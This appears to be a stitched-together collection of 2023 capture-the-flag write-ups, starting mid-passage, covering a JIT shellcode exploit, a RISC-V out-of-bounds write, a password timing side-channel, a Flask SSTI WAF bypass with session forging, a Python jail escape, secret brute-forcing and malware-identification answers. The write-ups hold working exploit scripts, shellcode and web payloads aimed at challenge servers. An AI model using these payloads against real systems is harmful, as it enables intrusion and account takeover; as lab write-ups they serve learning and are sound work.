shellcode for example, that we could put in the data zone (which is RWX as we said before). The only requirement is that `rcx` points to a writable zone in memory, to pass the `dec DWORD PTR [rcx-0x7f]` instruction. Syscalls will put the return address in `rcx` register on x86_64 architecture, so it will points to our code that is a writable zone off course. #### 3- So What is the plan ? 1. we advance our code in memory, to make it near the data zone, like this the forged `call` offset would not need to be too big..we will use **'.'** print brainfuck instruction for that, like that it will initialise the `rcx` register at the same time.2. we write a simple `execve("/bin/sh",0,0)` shellcode at the beginning of the data zone , the call will jump to it.3. we begin a loop with **'['** brainfuck instruction, and just after we send multiple **'<'** brainfuck instructions that will encode the offset of the forged call instruction So, when executed the JIT compiled produced code, will execute our shellcode, and we will have a shell. I hope you understand my explanation , if it's not the case, you can still read the exploit code: ```pythonfrom pwn import * if args.REMOTE: p = remote('pwn.2023.zer0pts.com', 9004)else: p = remote('127.0.0.1', 9999) # execve('/bin/sh',0,0) shellcodeshellc = b'\x31\xf6\xf7\xe6\x56\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05' # write shellcode in data mempayload = b'.'*0x700for c in shellc: for i in range(c): payload += b'+' payload += b'>' # unterminated loop, will alter 0xff in'''pwn disasm -c 'amd64' ff4981e80000000000 0: ff 49 81 dec DWORD PTR [rcx-0x7f] 3: e8 00 00 00 00 call 0x8'''# we set jump to shellcodepayload += b'.['+b'<'*0xe2a p.sendlineafter(': ', payload)p.interactive()``` *nobodyisnobody stills pwning things...*
# riscy-stack: Userspace (pwn)Writeup by: [xlr8or](https://ctftime.org/team/235001) As part of this challenge we get a lot of things, mainly files that provide the means to run the operating system and the provided userspace program we are attacking. The readme provides useful details:* Table of syscalls (to win we need to issue syscall 0x1337)* the binary is loaded at `0x08000000`, the entire page is RWX!!* nothing other than the userspace binary is strictly needed for the challenge (we don't need to look into how the kernel and firmware work) Next let's see what the binary does on the remote.We have 5 options to choose from* create - this will create a note taking a number - we have a max limit on notes, can't put more than 16* show - this will display an existing note - and we can't get a higher index than the current count of notes - 1* edit - this will edit an existing note, allowing us to put a new number - again we can't get a location higher than the last note we have added* delete - this will delete the last added note always - won't allow us to delete when there are no notes* exit - this just quits the application That's all I got from trying the binary on the remote, next up I loaded it into ghidra.Here I chose a risc-v 64-bit architecture, although it could be the case that it was a 32-bit architecture all along, I'm not too familiar with the architecture to be able to tell.I also manually specified the binary base address, as specified in the readme file. Looking at the entry, the decompile view is not that helpful again, but we can deduce what happens from the assembly. ```asmc.li a7,0x3lui a0,0x7ffe0c.lui a1,0x10c.li a2,0x3; map(0x7ffe00000, 0x10, 0x3) rw-ecalllui sp,0x7fff0j main``` As you can see I have already added a comment, because this makes a syscall to the `map` function to allocate some memory. This will be used for the stack, since we see right before `main` is called an address is moved into the stack pointer that resides in the area we have just allocated. In main we see that several message pointers are placed on the stack:```c pcStack_d0 = s_invalid_choice_080003b7; pcStack_e0 = s_no_space_08000412; pcStack_e8 = s_created_08000384; pcStack_f0 = s__0800041c; pcStack_f8 = s_edited_0800041e; local_100 = s_empty_08000390; pcStack_d8 = s_deleted_0800039f;``` Each of these is a pointer to a string that holds messages that the remote sends us in response to our actions. Next up we see the loop that potentially looks for the first user input, selecting a choice from the menu:```c while( true ) { /* print prompt */ ecall(); lVar5 = read_number_from_user(s_>_0800038d,2,2); if (lVar5 - 1U < 5) break; /* invalid choice */ ecall(); }``` Here I have added some comments, because those syscalls are used to print messages to stdout.I have also named the function the read number from user function. It takes no parameters, however the decompiler is a bit confused around syscalls, that's why you see some arguments going into it. I won't analyse the read function in details, but here are some of the important observations:1. We can read signed numbers (either an optional `+` sign or a `-` sign is allowed to be specified)2. Input is read until a `\r` or `\n` is encountered3. Space and some low value bytes are ignored at the start of the input4. Input is processed until valid digits are encountered, any non-digit characters stops the parsing The `create` handler is not too interesting, it performs good input sanitization.The `show` handler on the other hand is more interesting to us: ```c ecall(); lVar5 = read_number_from_user(s_index:_0800042b,7,2); if (lVar5 < lVar14) { ecall(); uVar2 = *(uint *)(local_c8 + lVar5 * 4); // ... Convert uVar2 to string a print it; omitted for clarity``` Although `lVar5` is checked against an upper bound, a lower bound is never enforced. This means that we are able to provide a negative offset and read out of bounds, as long as we don't need to read in the other direction, which the upper bound of the amount of notes would prevent. The same issue exists in the `edit` function, let's take a look: ```c ecall(); lVar5 = read_number_from_user(s_index:_0800042b,7,2); if (lVar5 < lVar14) { ecall(); uVar4 = read_number_from_user(s_value:_08000397,7,2); *(undefined4 *)(local_c8 + lVar5 * 4) = uVar4; ecall(); }``` Again, `lVar5` is only checked against an upper bound therefore we can **overwrite** any 4 byte value as long as it lies before the `local_c8` array. And to our luck, the stack is allocated **after** the address at which the binary is loaded, therefore all we need to do is to calculate the offset we need to get to the start of the binary, and from there we can overwrite arbitrary 4 bytes. Let's remember this is possible because the page the binary is loaded into is writeable. Since `sp` is set to `0x7fff0000` before main is called, and then in the first instruction of main it is decremented by `0x100`, and we know that the `local_c8` array will be at offset `+0x38`, the address we are starting from is going to be: `0x7ffeff38`. The difference between this value, and the base of the binary is `0x77feff38`. Then we divide this value by 4, since that's how the indexing is done by the userspace program into the notes array. Therefore we need to pass `-503300046` as an offset to get to the base of the binary. From here the plan of attack is as follows:1. Inject shellcode using the out of bounds write we found in place of the exit option2. Call the exit option The `exit` option starts at offset `0x28c` from the binary base, so that's where we will start writing our shellcode. The shellcode just needs to issue syscall `0x1337` and then we will get the flag. The shellcode will be:```asmli a7, 0x1337 ; load syscall number to a7ecall ; issue the syscall``` I have used the [this online risc-v assembler](https://riscvasm.lucasteske.dev/#) to get the bytecode of that we need to put. And that's it now we just need to perform the overwrite and call `exit`. I didn't make an automated solver for this challenge, because my script had some problems with reading messages from the remote, but here is a python script generating the values:```pythonnum = -503300046off_load_syscall_num = num + (0x28c//4) print(off_load_syscall_num)print(0x000018b7)print(off_load_syscall_num + 1)print(0x3378889b)print(off_load_syscall_num + 2)print(0x73)``` It prints pairs of offset, instruction. Each of these should be provided to the `edit` option, first the offset, after that the instruction bytes for the value.
# NetFS 1 (misc)Writeup by: [xlr8or](https://ctftime.org/team/235001) As part of this challenge we get access to a server (and its source code) written in Python.The purpose of this server is for the user to be able to read files on the system.Our goal is to read the file in `secret/flag.txt`, however before we can read files we must authenticate. The system contains 2 users:```pythonassert os.path.isfile("secret/password.txt"), "Password file not found." MAX_SIZE = 0x1000LOGIN_USERS = { b'guest': b'guest', b'admin': open("secret/password.txt", "rb").read().strip()}PROTECTED = [b"server.py", b"secret"] assert re.fullmatch(b"[0-9a-f]+", LOGIN_USERS[b'admin'])``` The password of the *guest* user is known, however the password of *admin* is unknown to us, other than the fact that it only consists of digits and letters `a` thorough `f`.Our goal is to authenticate with admin, since authenticating with guest, makes the user unable to access any files path, that contains any element of `PROTECTED`: ```python# Check filepathif not self.is_admin and \ any(map(lambda name: name in filepath, PROTECTED)): self.response(b"Permission denied.\n") continue``` So let's take a closer look at the authentication method:```python def authenticate(self): """Login prompt""" username = password = b'' with Timeout(30): # Receive username self.response(b"Username: ") username = self.recvline() if username is None: return if username in LOGIN_USERS: password = LOGIN_USERS[username] else: self.response(b"No such a user exists.\n") return with Timeout(30): # Receive password self.response(b"Password: ") i = 0 while i < len(password): c = self._conn.recv(1) if c == b'': return elif c != password[i:i+1]: self.response(b"Incorrect password.\n") return i += 1 if self._conn.recv(1) != b'\n': self.response(b"Incorrect password.\n") return self.response(b"Logged in.\n") self._auth = True self._user = username``` First, the system reads our username, and ensures, that it is known in the system.Afterwards we continue with checking the password, however there's a flaw here, that allows us to guess the password one character at a time.The password is received by the server one character at a time, and if that given character doesn't match the password, then we get notified that the password is incorrect.However if the character we sent is correct, then the server will wait for the next character. This means that we can try all 16 possibilities for a given position, and the attempt, which doesn't generate an *Incorrect password.* response gets appended to the overall password we have so far. Using `solve.py` we can bruteforce the password, and use it to authenticate as `admin` and read the flag file.
# Attaaaaack10 ## Background Q10. we think that the malware uses persistence technique can you detect it ? example : crew{Scheduled_tasks} (first letter of the first word is uppercase and the first letter of other is lowercase) Author : 0xSh3rl0ck ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230710142932.png) ## Find the flag **In the [blog](http://www.tekdefense.com/news/tag/malware-analysis) that we've found in Attaaaaack9, the DarkComet malware has a persistence mechanism:** ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230709213926.png) With that said, the persistence mechanism is modifying the registry key, so that everytime when the victim logged in, it'll run `runddl32.exe`. - **Flag: `crew{Registry_keys}`**
# Attaaaaack13 ## Background Q13. Now can you help us to know the Family of this malware ? example : crew{Malware} Author : 0xSh3rl0ck ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230710142954.png) ## Find the flag **To find the malware's family, we can first grab the SHA256 hash of the `runddl.exe` malware from [VirusTotal](https://www.virustotal.com/gui/file/9601b0c3b0991cb7ce1332a8501d79084822b3bdea1bfaac0f94b9a98be6769a/details):** - SHA256 hash: `9601b0c3b0991cb7ce1332a8501d79084822b3bdea1bfaac0f94b9a98be6769a` **Go to Cisco Talos Intelligence Group's [Talos File Reputation](https://www.talosintelligence.com/talos_file_reputation), and search for it's malware family via the SHA256 hash:** ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230709132855.png) ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230709132923.png) **According to [Microsoft malware naming scheme](https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/malware-naming?view=o365-worldwide), the naming scheme is:** ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230709132958.png) In the Talos File Reputation's result, it has `Backdoor.Win32.DarkKomet`. Hence, the `runddl.exe` malware family is `DarkKomet`. - **Flag: `crew{DarkKomet}`**
# mimikyu (rev)Writeup by: [xlr8or](https://ctftime.org/team/235001) As part of this challenge we get an x86 ELF binary with 2 of its dependencies.Loading the binary into ghidra, we see the `LoadLibraryA` function, name after the same function in windows, which opens `dll` files and return a handle to them. Since there's one for `libc` and another one for `libgmp`, we can name the result of these functions to be the names of the library:```c libc = LoadLibraryA("libc.so.6"); if (libc == 0) { /* WARNING: Subroutine does not return */ __assert_fail("hLibc != NULL","main.c",0x4a,(char *)&__PRETTY_FUNCTION__.0); } libgmp = LoadLibraryA("libgmp.so"); if (libgmp == 0) { /* WARNING: Subroutine does not return */ __assert_fail("hGMP != NULL","main.c",0x4c,(char *)&__PRETTY_FUNCTION__.0); }``` Now we see code like:```c ResolveModuleFunction(libgmp,0x71b5428d,local_48); ResolveModuleFunction(libgmp,0x71b5428d,local_38); ResolveModuleFunction(libgmp,0x71b5428d,local_28); ResolveModuleFunction(libc,0xfc7e7318,_main); ResolveModuleFunction(libc,0x9419a860,stdout,0);``` This is going to get a function from the specified library, based on the specified hash, and call that function with the given arguments (with which the decompiler struggles a bit). This is taken from the windows world again, where malware commonly obfuscates library calls as such (finding a function inside some library by looking for hashes).In my experience the best way to deal with this is to execute the binary and see what the result of the function resolver is (given that we are allowed to execute the binary).Then I add the actual functions (and sometimes the arguments passed to them) as comments above the resolve function. For example the above block becomes:```c /* __gmpz_init */ ResolveModuleFunction(libgmp,0x71b5428d,local_48); /* __gmpz_init */ ResolveModuleFunction(libgmp,0x71b5428d,local_38); /* __gmpz_init */ ResolveModuleFunction(libgmp,0x71b5428d,local_28); /* srandom(0xfa1e0ff3) */ ResolveModuleFunction(libc,0xfc7e7318,_main); /* setbuf */ ResolveModuleFunction(libc,0x9419a860,stdout,0);``` After this initial setup all of our characters are checked to be in the printable ASCII range:```c printf("Checking..."); for (local_80 = 0; local_80 < 0x28; local_80 = local_80 + 1) { /* isprint */ iVar1 = ResolveModuleFunction(libc,0x4e8a031a,(int)user_input[local_80]); if (iVar1 == 0) goto LAB_00101ce7; }``` Then begins the checking procedure of the input:```c for (local_78 = 0; local_78 < 0x28; local_78 = local_78 + 4) { /* __gmpz_set_ui */ ResolveModuleFunction(libgmp,0xf122f362,local_38,1); for (local_70 = 0; local_70 < 3; local_70 = local_70 + 1) { /* putchar */ ResolveModuleFunction(libc,0xd588a9,0x2e); /* rand */ iVar1 = ResolveModuleFunction(libc,0x7b6cea5d); cap(libc,libgmp,(long)(iVar1 % 0x10000),local_48); /* gpmz_mul */ ResolveModuleFunction(libgmp,0x347d865b,local_38,local_38,local_48); } /* putchar */ ResolveModuleFunction(libc,0xd588a9,0x2e); /* rand */ iVar1 = ResolveModuleFunction(libc,0x7b6cea5d); cap(libc,libgmp,(long)(iVar1 % 0x10000),local_28); /* gmpz_set_ui */ ResolveModuleFunction(libgmp,0xf122f362,local_48,*(undefined4 *)(user_input + local_78)); /* gmpz_powm */ ResolveModuleFunction(libgmp,0x9023667e,local_48,local_48,local_28,local_38); /* gmpz_cmp_ui */ iVar1 = ResolveModuleFunction (libgmp,0xb1f820dc,local_48,*(undefined8 *)(encoded + (local_78 >> 2) * 8)); if (iVar1 != 0) goto LAB_00101ce7; } puts("\nCorrect!");``` I have analyzed this section a bit dynamically, but didn't spend the time to fully understand the calculations being done here. In short: the password is checked in 4 byte chunks. For each chunk we compute 2 values, that are independent of the user input, with the `cap` function. We combine these values with the user input, resulting in an 8-byte value, which will be checked against the `encoded` array (hardcoded 8-byte values for each 4-byte user input block). As soon as a check fails for a given block, the binary exits. Because of this we can guess the flag 4-bytes at a time, which is not that bad to bruteforce, especially given the constraint to the ASCII printable range. Therefore I only needed to understand how the 2 generated values are combined with the user input, as it turns out it is pretty simple: `check = user^G1 % G2`. Now all that was left to do is to get all `G1, G2` pairs, which again do not depend on the user input, so we can just fix the result of `mpz_cmp_ui` and inspect the arguments to all calls of `mpz_powm`. The library functions are called at `ResolveModulefunction+0x311`, so I set a breakpoint here with GDB.Now to fake the `mpz_cmp_ui` result, we can just go `n`, then `set $rax=0` and continue, to make it seem that the current user input part is correct. To inspect arguments to the `mpz_powm` function, the following can be done:1. Hit the breakpoint on the `call` instruction to the `mpz_powm` function2. `x/xg *(long*)($rdx+8)` to get the exponent3. `x/xg *(long*)($rcx+8)` to get the modulus [This documentation](https://machinecognitis.github.io/Math.Gmp.Native/html/0fa7cbf3-e8f4-6b14-d829-8aa663e77c74.htm) can be used to understand what `libgmp` functions do, and what their arguments are. Armed with all exponent, modulus pairs, and the extracted `encoded` blob from the binary, I wrote `solve.py` which bruteforces each 4-byte block of the flag (except for the first 4-bytes `zer0`, technically the first 8 is also known, but I left the 2nd 4-bytes in there as a proof of concept that the algorithm produces correct output).
# topology (rev)Writeup by: [xlr8or](https://ctftime.org/team/235001) As part of this challenge we get an x86 ELF binary.Let's see what `main` does:```c char *__s; int iVar1; undefined8 uVar2; size_t sVar3; if (argc < 2) { __printf_chk(1,"Usage: %s FLAG\n",*argv); uVar2 = 1; } else { iVar1 = setup_network(); if (head == iVar1) { __s = argv[1]; sVar3 = strlen(__s); network_main(__s,(int)sVar3 + 1); } else { handle_message(); } if (tail != iVar1) { wait((void *)0x0); } destroy_network(iVar1); uVar2 = 0; } return uVar2;``` Here we see that this is some sort of network setup. And then some messages will be passed around in the network.`setup_network` is going to fork the process, such that we have 99 *worker* processes (not including the main process itself).I didn't invest much time in how the network works, however I assumes that:1. The specific details won't matter to the challenge (or at least I should have a better understanding of the full binary first)2. The network is a linked list of nodes, and each node passes messages to its neighbours So we see, that the first node in the network (the main process) is going to be the `head`, and it will execute the `network_main` function, which receives the user input as argument.All the other processes will execute the `handle_message` function, that takes no parameters, this is why I called them the *worker* processes. Let's see what the main node is responsible for:```c send_msg(0x1337cafe,0xffffffff,0,0); iVar3 = recv_msg(); if ((iVar3 == 0) && (*(int *)(prev + 8) == 0x1337cafe)) {``` After doing some stack setup, and flag copying, we see the first network operations.This essentially acts as a ping of the neighbour of the first node, and we continue on if the ping is replied to by the neighbour. Now let's inspect what happens in the rest of the method:```c pcVar6 = local_98; // the flag the user enters bVar2 = false; do { iVar5 = 1; iVar3 = 0; do { send_msg(0x1337f146,iVar5,pcVar6,8); iVar4 = recv_msg(); if ((iVar4 != 0) || (*(int *)(prev + 8) != 0x1337beef)) { send_msg(0x1337dead,0xffffffff,0,0); goto LAB_001e5cf1; } iVar4 = strcmp((char *)(prev + 0x10),"OK"); iVar3 = iVar3 + (uint)(iVar4 == 0); iVar5 = iVar5 + 1; } while (iVar5 != 100); bVar1 = true; if (4 < iVar3) { bVar1 = bVar2; } putc(0x2e,stdout); fflush(stdout); pcVar6 = pcVar6 + 8; bVar2 = bVar1; } while (local_48 != pcVar6);``` The outer loop is going to go over the user input in 8-byte blocks, and keep track of the results of the inner loop.Meanwhile the inner loop is going to send the current 8-byte block to each of the *worker* processes.In `iVar3` the number of `OK` responses will be tracked. The success of the checks depends on the `bVar1` variable:```cif (bVar1) { puts("\nWrong...");} else { puts("\nCorrect!");}``` In the code block before we see that `bVar1` only becomes `false` if we have more than 4 `OK` responses from the *worker* processes for the current 8-byte block. Therefore our goal can be defined as follows:Construct the flag such that each 8-byte block generates more than 4 `OK` responses from the *worker* processes. Let's see how the worker process validates the blocks in `handle_message`:```c if (iVar1 == 0x1337f146) { iVar1 = (*(code *)f[whoami + -1])(prev + 0x10); if (iVar1 == 0) { send_msg(0x1337beef,0,"OK",3); } else { send_msg(0x1337beef,0,"NG",3); } }``` First we check for the op code to differentiate this request from the ping request.Then we call a function based on the ID of the current *worker* process with the current 8-byte block.Then based on the function result we return `OK` (0 value) or `NG` (1 value). There's a function for each of the 99 *worker* processes, but all of them have the same structure:they do some arithmetic operations on the 8-byte block and compare it to some value.All functions have 10 separate cases (and operations) for the 10 different 8-byte blocks of the flag. Since each case performs multiple complex operations it is not efficient to try to solve this manually.Therefore I have decided to automate this task using `angr`.The general idea of the solution is as follows:1. Recover the flag in 8-byte blocks2. Use `angr` to get a candidate for the current 8-byte block for all 99 *worker* processes3. Rank the results by frequency, and pick the most frequent option as the flag value. The implementation details can be seen in `solve.py`. As a side note, the performance could be improved by stopping as soon as we have more than 4 of the same result from the functions, however I wanted to see all other solutions as well just in case.
# decompile me (rev)Writeup by: [xlr8or](https://ctftime.org/team/235001) As part of this challenge we get a single x86 ELF binary `chall`.As there is nothing better to do, let's load this into ghidra, and see what happens:```c// ... local_208[0] = 0x80; write(1,"FLAG: ",0xe); read(0,local_208,0x80); RC4_setkey(&key,sbox); RC4_encrypt(local_208,local_188,sbox); iVar1 = memcmp(local_188,&enc,0x80);// ...``` Okay quite simple, right? The flag is requested from, then used as plaintext for RC4 encryption, with a hardcoded key in `key`.Then the encrypted result gets compared to some hardcoded blob, `enc`. The solution is straight forward, we use the key and the encrypted blob in the binary to recover the flag.However upon performing the RC4 decrypt, something isn't right... Where is the flag?Well, the challenge does hint at the problem, by saying reversing is too easy because of the decompiler, so let's inspect the binary closer. Looking at the `RC4_setkey` function, which initializes the s-box based on the key, we see that although we pass some parameters to it in `main`, actually none of them seem to be used in the decompile view.Instead, something suspicious is `unaff_R13`, which usually indicates that `r13` is used from the previous function's frame, but is not explicitly marked as a parameter to the function:```c do { *(char *)(unaff_R13 + uVar3) = (char)uVar3; uVar2 = (int)uVar3 + 1; uVar3 = (ulong)uVar2; } while (uVar2 < 0x100);``` We see that `r13` and `r12` are being used in this function.From studying RC4, we know that `r13` is used as the sbox, and that `r12` is used as the key.We can make the decompiler play along, by using a custom calling convention for this function (check `Edit function signature > Use Custom Storage`).We add the first parameter to be `r13` and the second to be `r12`. After making these changes we can see an important change in `main`:```cRC4_setkey(local_108,&val;;``` So in actuality the key, used for the encryption is in `val` and **not** `key`.We can do the same, with the `RC4_encrypt` function, however nothing additional is revealed, the sbox, from the key setup is used, on the user input and the result is stored on the stack.We can try to do the RC4 decryption again, with the new knowledge about the key, but still it won't succeed. Let's look into `memcmp`, since although on first sight it looks like it could be the libc function, but in reality it isn't:```c bVar1 = 0; uVar3 = 0; do { bVar1 = bVar1 | *(byte *)(unaff_R14 + uVar3) ^ *(byte *)((long)&dat + uVar3); uVar2 = (int)uVar3 + 1; uVar3 = (ulong)uVar2; } while (uVar2 < (uint)__n);``` Note: you see `unaff_R14`, so we could also fix the calling convention here, but I didn't do so, since from the assembly we know that `r14` holds the output of the encryption. More importantly, we see that `dat` is checked against our encrypted result, regardless of what is passed as a parameter to the function.With this new knowledge, finally we need to RC4 decrypt `dat` using `val` as a key. `solve.py` performs the required decryption to recover the flag.
Need to bypass this so need to bruteforce the 6 character key. ![image](https://github.com/jeromepalayoor/ctf-archive-hub/assets/63996033/0f5b034a-b483-47d4-aebb-2a332bbbba0b) Getting premium allows us to load anything. Like the flag ![image](https://github.com/jeromepalayoor/ctf-archive-hub/assets/63996033/eca7551c-58cf-4dec-908c-9f22d5c519c0) ![image](https://github.com/jeromepalayoor/ctf-archive-hub/assets/63996033/493c079d-4191-4fad-b75a-76fe380942da) ```pyimport requestsimport hashlibimport itertools characters = 'abcdefghijklmnopqrstuvwxyz0123456789'length = 6combinations = itertools.product(characters, repeat=length) url = 'https://pay-to-win.tjc.tf/' new = "eyJ1c2VybmFtZSI6ICJqZXJvbWUiLCAidXNlcl90eXBlIjogInByZW1pdW0ifQ==" #'{"username": "jerome", "user_type": "premium"}'old = "eyJ1c2VybmFtZSI6ICJqZXJvbWUiLCAidXNlcl90eXBlIjogImJhc2ljIn0=" #'{"username": "jerome", "user_type": "basic"}'h = "46378b50e362bb73a60886b2d55957b6a79acd1ae8d6069a7bce2fbbda3f640c" def hash(data): return hashlib.sha256(bytes(data, 'utf-8')).hexdigest() actual_secret = ""actual_hash = "" for c in combinations: secret = ''.join(c) hashed = hash(old + secret) if hashed == h: actual_secret = secret actual_hash = hash(new + secret) break print(actual_secret)print(actual_hash) r = requests.get(url + "?theme=/secret-flag-dir/flag.txt", cookies={'data': new, 'hash': actual_hash}) print(r.text)``` Flag: `tjctf{not_random_enough_64831eff}`
Connecting to the server shows the source code: ```py#!/usr/bin/env python3blacklist = ["/","0","1","2","3","4","5","6","7","8","9","setattr","compile","globals","os","import","_","breakpoint","exit","lambda","eval","exec","read","print","open","'","=",'"',"x","builtins","clear"]print("="*25)print(open(__file__).read())print("="*25)print("Welcome to the jail!")print("="*25) for i in range(2): x = input('Enter command: ') for c in blacklist: if c in x: print("Blacklisted word found! Exiting!") exit(0) exec(x)``` When I first saw this I was intrigued by seeing that we are allowed 2 inputs per connection. So logically I realised that the first input was to clear the blacklist, and the second to read the flag. I did `del blacklist[:]` first which empties the blacklist. Then `print(open("flag.txt").read())` to read the flag. Apparently my solution more elegant then the intended .pop() solution: `[blacklist.pop() for i in range(len(blacklist))]` :) ![image](https://github.com/jeromepalayoor/ctf-archive-hub/assets/63996033/f627280d-7767-4398-961e-003fd88b230c) Flag: `n00bz{blacklist.pop()_ftw!_7a5d2f8b}`
### Description>My friend sent me this website and said that if I wait long enough, I could get and flag! Not that I need a flag or anything, but I've been waiting a couple days and it's still asking me to wait. I'm getting a little impatient, could you help me get the flag? We visit the challenge URL: https://waiting-an-eternity.amt.rs and see a message `just wait an eternity`. There's nothing in the page source, cookies etc. If we check the request in burp, there's a response header.```bashRefresh: 1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; url=/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a``` OK, so let's visit https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a We see another message `welcome. please wait another eternity`. This time we do have a cookie, which is set in the HTTP response.```bashSet-Cookie: time=1689413881.7688985; Path=/``` When we change the value to `999999999999999999999999999999999999999999999999999999999999999999999999999999999999` it says `you have not waited an eternity. you have only waited -1e+84 seconds`. Increasing the number of `9`'s by like 10x results in a new message `you have not waited an eternity. you have only waited -inf seconds`. Looking good! We've got infinite seconds, the problem is that it's a negative value. Let's add a `-` before our `9`'s to reverse the sign. We send the request and receive a flag.```bashamateursCTF{im_g0iNg_2_s13Ep_foR_a_looo0ooO0oOooooOng_t1M3}```
[Original writeup](https://github.com/Mystaras/ctf-writeups/tree/main/23-m0lecon-teaser/pwn/SmallStringStorage) (https://github.com/Mystaras/ctf-writeups/tree/main/23-m0lecon-teaser/pwn/SmallStringStorage)
# Obligatory [Web] NahamCon CTF 2023 *Every Capture the Flag competition has to have an obligatory to-do list application, right???* ## WriteupSign Up and Login on the Web Application. The website is a Todo-List tracker ![todo](https://raw.githubusercontent.com/jmrcsnchz/NahamCon_CTF_2023_Writeups/main/Obligatory/todolist.png) After creating a task, a message `Task created` is printed. The message can also be controlled via the `success` GET parameter ```http://challenge.nahamcon.com:PORT/?success=Task%20created``` The parameter is Vulnerable to **SSTI** ![ssti](https://github.com/jmrcsnchz/NahamCon_CTF_2023_Writeups/raw/main/Obligatory/ssti.png) ```http://challenge.nahamcon.com:31129/?success={{7*7}}``` I tried to leak Config items with `{{config.items()}}`, but is blocked by WAF ![](https://github.com/jmrcsnchz/NahamCon_CTF_2023_Writeups/raw/main/Obligatory/config-waf.png) Bypassed with `{{self|attr("\x5f\x5fdict\x5f\x5f")}}` ![](https://github.com/jmrcsnchz/NahamCon_CTF_2023_Writeups/raw/main/Obligatory/waf-bypass.png) Now that we got the SECRET_KEY, we can forge our own Flask Session and login as Admin ```bashflask-unsign --sign --cookie "{'id':1}" --secret "&GTHN&Ngup3WqNm6q\$5nPGSAoa7SaDuY"``` ![](https://github.com/jmrcsnchz/NahamCon_CTF_2023_Writeups/raw/main/Obligatory/flask.png) **Flag obtained after using the newly signed auth-token** ![](https://github.com/jmrcsnchz/NahamCon_CTF_2023_Writeups/raw/main/Obligatory/flag.png)
![Morphin Time](https://i.imgur.com/lmKfw3s.png) **CTF Author:** ***Anakin*** **CTF WriteUp:** ***[xMrRobotx](https://twitter.com/MrRobot38159405)*** ---#### **Morphing Time**> The all revealing Oracle may be revealing a little too much...```python# chal.py#!/usr/bin/env python3from Crypto.Util.number import getPrimefrom random import randint with open("/flag", "rb") as f: flag = int.from_bytes(f.read().strip(), "big") def setup(): # Get group prime + generator p = getPrime(512) g = 2 return g, p def key(g, p): # generate key info a = randint(2, p - 1) A = pow(g, a, p) return a, A def encrypt_setup(p, g, A): def encrypt(m): k = randint(2, p - 1) c1 = pow(g, k, p) c2 = pow(A, k, p) c2 = (m * c2) % p return c1, c2 return encrypt def decrypt_setup(a, p): def decrypt(c1, c2): m = pow(c1, a, p) m = pow(m, -1, p) m = (c2 * m) % p return m return decrypt def main(): print("[$] Welcome to Morphing Time") g, p = 2, getPrime(512) a = randint(2, p - 1) A = pow(g, a, p) decrypt = decrypt_setup(a, p) encrypt = encrypt_setup(p, g, A) print("[$] Public:") print(f"[$] {g = }") print(f"[$] {p = }") print(f"[$] {A = }") c1, c2 = encrypt(flag) print("[$] Eavesdropped Message:") print(f"[$] {c1 = }") print(f"[$] {c2 = }") print("[$] Give A Ciphertext (c1_, c2_) to the Oracle:") try: c1_ = input("[$] c1_ = ") c1_ = int(c1_) assert 1 < c1_ < p - 1 c2_ = input("[$] c2_ = ") c2_ = int(c2_) assert 1 < c2_ < p - 1 except: print("!! You've Lost Your Chance !!") exit(1) print("[$] Decryption of You-Know-What:") m = decrypt((c1 * c1_) % p, (c2 * c2_) % p) print(f"[$] {m = }") # !! NOTE !! # Convert your final result to plaintext using # long_to_bytes exit(0) if __name__ == "__main__": main() ```From the script `chal.py`, we can see that the program uses the ElGamal encryption scheme, which is a public-key cipher. The decryption operation involves computing an inverse modulo the prime number `p`. The decrypt function takes as input two numbers `c1` and `c2` and returns a message `m`. The interesting behavior here is that you can provide the oracle with an encryption of a message and the oracle will return the decrypted message multiplied by the flag. The goal here is to use this property to your advantage to recover the flag. You can do this by sending an encryption of `1` to the oracle, which will return the decrypted flag itself. Let's walk through the steps of how to calculate the encrypted `1`: 1. Recall the ElGamal encryption process: to encrypt a message `m`, we choose a random `k` from `[2, p-1]`, compute `c1 = g^k mod p`, `c2 = m * A^k mod p`, and the ciphertext is `(c1, c2)`.2. To encrypt `1`, we choose `k = 1` to simplify the computation: `c1_ = g^1 mod p = g`, `c2_ = 1 * A^1 mod p = A`.3. You can then submit `(c1_, c2_)` to the oracle, which is `(g, A)`, to get the flag. After we obtained the integer `m`, we convert it into bytes and then decode it as a string to obtain the flag. You might need to handle padding or non-ASCII bytes in the decoded string, but those can be usually resolved by ignoring non-ASCII characters or removing the padding. Here is an example of the final script used to retrieve the flag:```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes def main(): # Connect to the server conn = remote('morphing.chal.uiuc.tf', 1337) # Receive initial data, extract g, p, A conn.recvuntil(b"g = ") g = int(conn.recvline()) conn.recvuntil(b"p = ") p = int(conn.recvline()) conn.recvuntil(b"A = ") A = int(conn.recvline()) # Encrypt '1' c1_ = g c2_ = A # Send c1_ and c2_ to the server conn.recvuntil(b"c1_ = ") conn.sendline(str(c1_)) conn.recvuntil(b"c2_ = ") conn.sendline(str(c2_)) # Get the response, which should be the decrypted flag conn.recvuntil(b"m = ") m = int(conn.recvline()) # Convert to bytes flag = long_to_bytes(m) print("Flag:", flag) if __name__ == '__main__': main()```***Flag:*** >uiuctf{h0m0m0rpi5sms_ar3_v3ry_fun!!11!!11!!}
